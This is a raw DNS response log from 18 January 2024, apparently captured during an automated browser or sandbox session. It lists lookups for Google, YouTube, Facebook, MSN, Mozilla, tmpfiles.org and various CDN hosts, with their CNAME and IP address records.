Jan 18, 2024 00:34:43.921883106 CET	1.1.1.1	192.168.2.6	0xcf58	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:43.921883106 CET	1.1.1.1	192.168.2.6	0xcf58	No error (0)	googlehosted.l.googleusercontent.com		142.250.72.97	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.923367977 CET	1.1.1.1	192.168.2.6	0x768f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		172.217.165.150	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.40.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.65.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.40.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.64.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.80.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.72.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.65.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.35.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.32.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.40.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.80.54	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.176.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.40.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.250.80.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.486176968 CET	1.1.1.1	192.168.2.6	0x80c3	No error (0)	i.ytimg.com		142.251.40.150	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.647403002 CET	1.1.1.1	192.168.2.6	0x776d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:44.744369984 CET	1.1.1.1	192.168.2.6	0x9257	No error (0)	accounts.google.com		142.251.16.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748294115 CET	1.1.1.1	192.168.2.6	0xaa5a	No error (0)	accounts.google.com		142.251.167.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.64.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		172.217.165.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.251.40.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:44.748553038 CET	1.1.1.1	192.168.2.6	0xba6e	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.452419043 CET	1.1.1.1	192.168.2.6	0x1bd2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:34:45.452658892 CET	1.1.1.1	192.168.2.6	0x105e	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.452658892 CET	1.1.1.1	192.168.2.6	0x105e	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.453594923 CET	1.1.1.1	192.168.2.6	0x109c	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.453594923 CET	1.1.1.1	192.168.2.6	0x109c	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.454173088 CET	1.1.1.1	192.168.2.6	0x22cb	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:34:45.577967882 CET	1.1.1.1	192.168.2.6	0xe194	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.577967882 CET	1.1.1.1	192.168.2.6	0xe194	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:45.584726095 CET	1.1.1.1	192.168.2.6	0xbae1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:34:48.258125067 CET	1.1.1.1	192.168.2.6	0x7c95	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:48.258125067 CET	1.1.1.1	192.168.2.6	0x7c95	No error (0)	scontent.xx.fbcdn.net		157.240.241.1	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:48.258725882 CET	1.1.1.1	192.168.2.6	0x772e	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:54.096211910 CET	1.1.1.1	192.168.2.6	0x79e4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:54.096211910 CET	1.1.1.1	192.168.2.6	0x79e4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.425735950 CET	1.1.1.1	192.168.2.6	0x9483	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.585863113 CET	1.1.1.1	192.168.2.6	0xb703	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jan 18, 2024 00:34:54.722903013 CET	1.1.1.1	192.168.2.6	0xdb2c	No error (0)	example.org		93.184.216.34	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.723587990 CET	1.1.1.1	192.168.2.6	0xd7d2	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.723587990 CET	1.1.1.1	192.168.2.6	0xd7d2	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:54.771554947 CET	1.1.1.1	192.168.2.6	0x1620	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:54.771554947 CET	1.1.1.1	192.168.2.6	0x1620	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:55.558928013 CET	1.1.1.1	192.168.2.6	0xda8f	No error (0)	facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:57.119538069 CET	1.1.1.1	192.168.2.6	0xb1f4	No error (0)	accounts.google.com		142.251.163.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:57.353430033 CET	1.1.1.1	192.168.2.6	0x128f	No error (0)	tmpfiles.org		104.21.21.16	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:57.353430033 CET	1.1.1.1	192.168.2.6	0x128f	No error (0)	tmpfiles.org		172.67.195.247	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:59.935328960 CET	1.1.1.1	192.168.2.6	0x4f0b	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:59.935328960 CET	1.1.1.1	192.168.2.6	0x4f0b	No error (0)	www3.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:59.936125040 CET	1.1.1.1	192.168.2.6	0x9145	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:01.771730900 CET	1.1.1.1	192.168.2.6	0xbcb8	No error (0)	rr1---sn-q4fl6nlz.googlevideo.com	rr1.sn-q4fl6nlz.googlevideo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:01.788438082 CET	1.1.1.1	192.168.2.6	0x9e79	No error (0)	rr1---sn-q4fl6nlz.googlevideo.com	rr1.sn-q4fl6nlz.googlevideo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:01.788438082 CET	1.1.1.1	192.168.2.6	0x9e79	No error (0)	rr1.sn-q4fl6nlz.googlevideo.com		74.125.1.166	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.327662945 CET	1.1.1.1	192.168.2.6	0x8c00	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:10.327878952 CET	1.1.1.1	192.168.2.6	0xbd85	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:10.327878952 CET	1.1.1.1	192.168.2.6	0xbd85	No error (0)	clients.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.424222946 CET	1.1.1.1	192.168.2.6	0xad97	No error (0)	accounts.google.com		142.251.163.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.743486881 CET	1.1.1.1	192.168.2.6	0xf98b	No error (0)	www.google.com		142.250.65.196	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:10.744787931 CET	1.1.1.1	192.168.2.6	0xed62	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 18, 2024 00:35:13.680422068 CET	1.1.1.1	192.168.2.6	0x9f77	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.681371927 CET	1.1.1.1	192.168.2.6	0x9959	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.682967901 CET	1.1.1.1	192.168.2.6	0x87f2	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.682967901 CET	1.1.1.1	192.168.2.6	0x87f2	No error (0)	clients.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:13.683008909 CET	1.1.1.1	192.168.2.6	0x9749	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.747281075 CET	1.1.1.1	192.168.2.6	0xc707	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.747281075 CET	1.1.1.1	192.168.2.6	0xc707	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:13.747281075 CET	1.1.1.1	192.168.2.6	0xc707	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:13.749149084 CET	1.1.1.1	192.168.2.6	0x14ce	No error (0)	bingadsedgeextension-prod-eastus.azurewebsites.net	ssl.bingadsedgeextension-prod-eastus.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.755899906 CET	1.1.1.1	192.168.2.6	0xafdf	No error (0)	bingadsedgeextension-prod-eastus.azurewebsites.net	ssl.bingadsedgeextension-prod-eastus.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:13.755899906 CET	1.1.1.1	192.168.2.6	0xafdf	No error (0)	ssl.bingadsedgeextension-prod-eastus.azurewebsites.net		40.71.99.188	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:14.318754911 CET	1.1.1.1	192.168.2.6	0xc0ea	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:14.319231987 CET	1.1.1.1	192.168.2.6	0xbb8b	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:14.855415106 CET	1.1.1.1	192.168.2.6	0xdd17	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:14.855415106 CET	1.1.1.1	192.168.2.6	0xdd17	No error (0)	googlehosted.l.googleusercontent.com		142.250.80.97	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:14.855637074 CET	1.1.1.1	192.168.2.6	0x46b6	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.060408115 CET	1.1.1.1	192.168.2.6	0x6429	No error (0)	sb.scorecardresearch.com		18.238.49.99	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.060408115 CET	1.1.1.1	192.168.2.6	0x6429	No error (0)	sb.scorecardresearch.com		18.238.49.52	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.060408115 CET	1.1.1.1	192.168.2.6	0x6429	No error (0)	sb.scorecardresearch.com		18.238.49.74	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.060408115 CET	1.1.1.1	192.168.2.6	0x6429	No error (0)	sb.scorecardresearch.com		18.238.49.124	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.116106987 CET	1.1.1.1	192.168.2.6	0x537a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.116323948 CET	1.1.1.1	192.168.2.6	0x60e7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.153697014 CET	1.1.1.1	192.168.2.6	0x21a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.153855085 CET	1.1.1.1	192.168.2.6	0xd703	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.286098957 CET	1.1.1.1	192.168.2.6	0x359b	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.286478043 CET	1.1.1.1	192.168.2.6	0xa824	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.553986073 CET	1.1.1.1	192.168.2.6	0x44f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:15.553986073 CET	1.1.1.1	192.168.2.6	0x44f	No error (0)	sni1gl.wpc.nucdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:16.570549965 CET	1.1.1.1	192.168.2.6	0x461c	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:16.570549965 CET	1.1.1.1	192.168.2.6	0x461c	No error (0)	sni1gl.wpc.nucdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:17.739537001 CET	1.1.1.1	192.168.2.6	0x32d6	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:17.740778923 CET	1.1.1.1	192.168.2.6	0x83a0	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:18.544765949 CET	1.1.1.1	192.168.2.6	0x6464	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:18.544765949 CET	1.1.1.1	192.168.2.6	0x6464	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:18.545095921 CET	1.1.1.1	192.168.2.6	0x4d0d	No error (0)	chrome.cloudflare-dns.com		104.18.23.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:18.545095921 CET	1.1.1.1	192.168.2.6	0x4d0d	No error (0)	chrome.cloudflare-dns.com		104.18.22.202	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:18.545196056 CET	1.1.1.1	192.168.2.6	0x9d33	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:35:18.545387030 CET	1.1.1.1	192.168.2.6	0xa66d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 18, 2024 00:35:21.472007036 CET	1.1.1.1	192.168.2.6	0x6f54	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:21.472007036 CET	1.1.1.1	192.168.2.6	0x6f54	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.558960915 CET	1.1.1.1	192.168.2.6	0x5a85	No error (0)	services.addons.mozilla.org		13.225.63.72	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.558960915 CET	1.1.1.1	192.168.2.6	0x5a85	No error (0)	services.addons.mozilla.org		13.225.63.40	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.558960915 CET	1.1.1.1	192.168.2.6	0x5a85	No error (0)	services.addons.mozilla.org		13.225.63.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.558960915 CET	1.1.1.1	192.168.2.6	0x5a85	No error (0)	services.addons.mozilla.org		13.225.63.80	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.563468933 CET	1.1.1.1	192.168.2.6	0x3d11	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:21.563468933 CET	1.1.1.1	192.168.2.6	0x3d11	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.564856052 CET	1.1.1.1	192.168.2.6	0x8002	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.650013924 CET	1.1.1.1	192.168.2.6	0x34d6	No error (0)	services.addons.mozilla.org		13.225.63.72	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.650013924 CET	1.1.1.1	192.168.2.6	0x34d6	No error (0)	services.addons.mozilla.org		13.225.63.40	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.650013924 CET	1.1.1.1	192.168.2.6	0x34d6	No error (0)	services.addons.mozilla.org		13.225.63.80	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.650013924 CET	1.1.1.1	192.168.2.6	0x34d6	No error (0)	services.addons.mozilla.org		13.225.63.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.858645916 CET	1.1.1.1	192.168.2.6	0x72ac	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:21.858645916 CET	1.1.1.1	192.168.2.6	0x72ac	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.949117899 CET	1.1.1.1	192.168.2.6	0xd6ec	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:22.222434044 CET	1.1.1.1	192.168.2.6	0xb73a	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:22.222434044 CET	1.1.1.1	192.168.2.6	0xb73a	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:34.605000973 CET	1.1.1.1	192.168.2.6	0x2b66	No error (0)	accounts.google.com		142.251.16.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.719608068 CET	1.1.1.1	192.168.2.6	0x5d6	No error (0)	accounts.google.com		172.253.62.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.815259933 CET	1.1.1.1	192.168.2.6	0x246	No error (0)	accounts.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.40.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.64.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.40.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.64.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.80.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.948971033 CET	1.1.1.1	192.168.2.6	0xf684	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.40.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.40.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.076955080 CET	1.1.1.1	192.168.2.6	0xc51a	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
